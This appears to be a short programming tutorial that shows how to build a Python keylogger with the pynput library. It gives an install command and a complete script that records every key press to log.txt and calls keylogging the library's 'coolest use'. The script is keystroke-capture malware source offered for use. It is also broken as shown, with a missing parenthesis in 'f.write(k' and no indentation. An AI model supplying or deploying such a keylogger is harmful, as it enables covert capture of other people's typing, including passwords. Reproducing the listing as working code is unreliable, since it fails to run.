How to use pynput to make a Keylogger?
Last Updated :
16 Dec, 2021
Prerequisites: Python Programming Language
The package pynput.keyboard contains classes for controlling and monitoring the keyboard. pynput is the library of Python that can be used to capture keyboard inputs there the coolest use of this can lie in making keyloggers. The code for the keylogger is given below.
Modules needed
pynput: To install pynput type the below command in the terminal.
pip install pynput
Below is the implementation:
Python3
import pynput
from pynput.keyboard import Key, Listener
keys = []
def on_press(key):
keys.append(key)
write_file(keys)
try:
print('alphanumeric key {0} pressed'.format(key.char))
except AttributeError:
print('special key {0} pressed'.format(key))
def write_file(keys):
with open('log.txt', 'w') as f:
for key in keys:
k = str(key).replace("'", "")
f.write(k
f.write(' ')
def on_release(key):
print('{0} released'.format(key))
if key == Key.esc:
return False
with Listener(on_press = on_press,
on_release = on_release) as listener:
listener.join()
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Output:
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